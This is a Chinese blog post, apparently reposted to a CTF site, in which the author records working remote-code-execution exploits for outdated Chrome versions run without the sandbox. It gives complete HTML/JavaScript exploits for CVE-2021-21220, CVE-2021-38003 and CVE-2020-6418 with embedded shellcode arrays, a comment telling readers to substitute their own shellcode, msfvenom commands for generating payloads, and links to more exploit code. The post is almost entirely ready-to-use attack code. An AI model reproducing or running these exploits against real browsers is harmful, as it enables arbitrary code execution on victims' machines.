最近白捡了几个因为Chrome低版本导致的RCE漏洞

浏览器安全 1年前 (2023) admin
201 0 0

最近白捡了几个因为Chrome低版本导致的RCE漏洞,做个exploit的笔记,方便以后遇到了查询。

大概遇到三个客户端和一个服务端,在关闭沙盒的前提下可以进行RCE,Windows不一定关没关沙盒,但是Linux大概率都是关闭沙盒运行的。

chrome.exe --no-sandbox

 

最近白捡了几个因为Chrome低版本导致的RCE漏洞

最近白捡了几个因为Chrome低版本导致的RCE漏洞

CVE-2021-21220 windows平台 Chrome 版本<=89.0.4389.114 exploit:

<html><head><metahttp-equiv="Content-Type" content="text/html;charset=utf-8"></head><h1>test</h1><script>ENABLE_LOG = true;IN_WORKER = true;// run calc and hang in a loopvar shellcode = [0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00];//shellcode替换成自己的 注意是x86的
function print(data) {}var not_optimised_out = 0;var target_function = (function (value) {    if (value == 0xdecaf0) {        not_optimised_out += 1;    }    not_optimised_out += 1;    not_optimised_out |= 0xff;    not_optimised_out *= 12;});for (var i = 0; i < 0x10000; ++i) {    target_function(i);}var g_array;var tDerivedNCount = 17 * 87481 - 8;var tDerivedNDepth = 19 * 19;
function cb(flag) {    if (flag == true) {        return;    }    g_array = new Array(0);    g_array[0] = 0x1dbabe * 2;    return 'c01db33f';}function gc() {    for (var i = 0; i < 0x10000; ++i) {        new String();    }}function oobAccess() {    var this_ = this;    this.buffer = null;    this.buffer_view = null;     this.page_buffer = null;    this.page_view = null;     this.prevent_opt = [];     var kSlotOffset = 0x1f;    var kBackingStoreOffset = 0xf;     class LeakArrayBuffer extends ArrayBuffer {        constructor() {            super(0x1000);            this.slot = this;        }    }     this.page_buffer = new LeakArrayBuffer();    this.page_view = new DataView(this.page_buffer);     new RegExp({ toString: function () { return 'a' } });    cb(true);     class DerivedBase extends RegExp {        constructor() {            // var array = null;            super(                // at this point, the 4-byte allocation for the JSRegExp `this` object                // has just happened.                {                    toString: cb                }, 'g'                // now the runtime JSRegExp constructor is called, corrupting the                // JSArray.            );             // this allocation will now directly follow the FixedArray allocation            // made for `this.data`, which is where `array.elements` points to.            this_.buffer = new ArrayBuffer(0x80);            g_array[8] = this_.page_buffer;        }    }     // try{    var derived_n = eval(`(function derived_n(i) {        if (i == 0) {            return DerivedBase;        }         class DerivedN extends derived_n(i-1) {            constructor() {                super();                return;                ${"this.a=0;".repeat(tDerivedNCount)}            }        }         return DerivedN;    })`);     gc();      new (derived_n(tDerivedNDepth))();     this.buffer_view = new DataView(this.buffer);    this.leakPtr = function (obj) {        this.page_buffer.slot = obj;        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);    }     this.setPtr = function (addr) {        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);    }    this.read32 = function (addr) {        this.setPtr(addr);        return this.page_view.getUint32(0, true, ...this.prevent_opt);    }    this.write32 = function (addr, value) {        this.setPtr(addr);        this.page_view.setUint32(0, value, true, ...this.prevent_opt);    }    this.write8 = function (addr, value) {        this.setPtr(addr);        this.page_view.setUint8(0, value, ...this.prevent_opt);    }    this.setBytes = function (addr, content) {        for (var i = 0; i < content.length; i++) {            this.write8(addr + i, content[i]);        }    }    return this;}function trigger() {    var oob = oobAccess();    var func_ptr = oob.leakPtr(target_function);    print('[*] target_function at 0x' + func_ptr.toString(16));    var kCodeInsOffset = 0x1b;    var code_addr = oob.read32(func_ptr + kCodeInsOffset);    print('[*] code_addr at 0x' + code_addr.toString(16));    oob.setBytes(code_addr, shellcode);    target_function(0);}try{    print("start running");    trigger();}catch(e){    print(e);}</script>   </html>

 

 

CVE-2021-38003 windows平台 Chrome 版本<=95.0.4638.69 exploit:

<script type="text/javascript">
function gc() {    for (var i = 0; i < 0x100; i++) new Array(0x200);  }  var shellcode = [0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00  ];  var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);  var dv = new DataView(new ArrayBuffer(0x10));  function f2big(f) {    dv.setFloat64(0, f, true);    return (dv.getBigUint64(0, true));  }  function big2f(b) {    dv.setBigUint64(0, b);    return dv.getFloat64(0);  }  function flow(f) {    dv.setFloat64(0, f, true);    return (dv.getUint32(0, true));  }  function fhi(f) {    dv.setFloat64(0, f, true);    return (dv.getUint32(4, true));  }  function i2f(low, hi) {    dv.setUint32(0, low, true);    dv.setUint32(4, hi, true);    return dv.getFloat64(0, true);  }  var oob_arr = null;  var leak = null;  var rw_buff = null;  for (let i = 0; i < 0x1000; i++) {    oob_arr = [1.1, 1.1];    leak = { ele: null };    rw_buff = new ArrayBuffer(0x1000);  }  var rw_view = new DataView(rw_buff);  rw_view.setBigUint64(0, 0x11223355n, true);  var wasmModule = new WebAssembly.Module(wasmCode);  var wasmInstance = new WebAssembly.Instance(wasmModule);  var f = wasmInstance.exports.main;  function trigger() {    let a = [], b = [];    let s = '"'.repeat(0x800000);    a[20000] = s;    for (let i = 0; i < 10; i++) a[i] = s;    for (let i = 0; i < 10; i++) b[i] = a;    try {      JSON.stringify(b);    } catch (hole) {      return hole;    }    throw new Error('could not trigger');  }  let hole = trigger();  var map1 = null;  var map2 = null;  var arr = null;  function makeMapOdd(m, h) {    m = new Map();    m.set(1, 1);    m.set(h, 1);    m.delete(h);    m.delete(h);    m.delete(1);    return m;  }  for (let i = 0; i < 0x1000; i++) {    map1 = makeMapOdd(map1, hole);    arr = new Array(1.1, 1.1);  }  //alert(map1.size);  map1.set(0x10, -1);  gc();  leak.ele = wasmInstance;  map1.set(oob_arr, 0xffff);
  let wasm_low = fhi(arr[2]);  //alert("search wasm mod low addr: " + (wasm_low).toString(16));  leak.ele = null;  //alert("check arr indx 0");  arr[0] = i2f(wasm_low, 0x20);    let rwx = flow(oob_arr[7]);  //alert("rwx: " + rwx.toString(16));  arr[5] = i2f(rwx, 0x1000);  alert("backingStore");  for (let i = 0; i < shellcode.length; i++) {    rw_view.setInt8(i, shellcode[i]);  }  //alert("calc");  f();</script>

 

CVE-2020-6418 Linux台 Chrome 版本=80 ,很奇怪80版本,一些高版本的cve exp都没反应…

exploit:

<script>let buf = new ArrayBuffer(8);let f64 = new Float64Array(buf);let i64 = new BigUint64Array(buf);
const ftoi = x => {  f64[0] = x;  return i64[0];};
const itof = x => {  i64[0] = x;  return f64[0];};
let x = false;let a = [];
function foo(p) {  return a.pop(Reflect.construct(function() {}, arguments, p));}
let p = new Proxy(Object, {  get: () => {    if (x) a[0] = 1.1;    return Object.prototype;  }});
const bar = () => {  for (let i = 0; i < 10000; i++) {    x = i == 10000 - 1;    a = Array(0x100);    foo(p);  }
  return a;};
let cor = bar();let oob = [1.1, 2.2, 3.3];
/* flt.elements @ oob[10] *//* obj.elements @ oob[18] *//* rdw.elements @ oob[25] */let flt = [1.1, 2.2, 3.3];let obj = [{a: 1}];let rdw = [1.1, 2.2, 3.3];
cor[133] = itof((1337n << 33n) + (ftoi(cor[133]) & 0xffffffffn));console.assert(oob.length == 1337);
oob[10] = oob[19];
const addrof = o => {  obj[0] = o;  return ftoi(flt[0]) & 0xffffffffn - 1n;};
const read = p => {  oob[25] = itof((3n << 33n) + p - 8n + 1n);  return ftoi(rdw[0]);};
const write = (p, x) => {  oob[25] = itof((3n << 33n) + p - 8n + 1n);  rdw[0] = itof(x);};
let wasm = new Uint8Array([  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,  0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,  0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,  0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,  0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,  0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,  0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,  0x0b]);
let module = new WebAssembly.Module(wasm);let instance = new WebAssembly.Instance(module);
let rwx = read(addrof(instance) + 0x68n);
/* DISPLAY=':0.0' xcalc */ let shellcode = new Uint8Array([  0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,  0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,  0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,  0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,  0x6a, 0x3b, 0x58, 0x0f, 0x05]);
let abuf = new ArrayBuffer(shellcode.length);let view = new DataView(abuf);
write(addrof(abuf) + 0x14n, rwx);
for (let i = 0; i < shellcode.length; i++) {  view.setUint8(i, shellcode[i]);}
instance.exports.main();</script>

 

 

MSF使用,生成shellcode:

Linux

msfvenom -p linux/x86/exec CMD="DISPLAY=':0.0' xcalc" EXITFUNC=thread -f num

Windows

msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num

 

 

参考资料:

https://github.com/SpiralBL0CK/Chrome-V8-RCE-CVE-2021-38003

https://github.com/anvbis/chrome_v8_ndays

https://bugs.chromium.org/p/chromium/issues/list   不少挺新的exp,好使

https://chromium.cypress.io/     chromium历史版本下载

 

 

原文始发于微信公众号(鬼麦子):最近白捡了几个因为Chrome低版本导致的RCE漏洞

版权声明:admin 发表于 2023年10月30日 下午1:02。
转载请注明:最近白捡了几个因为Chrome低版本导致的RCE漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...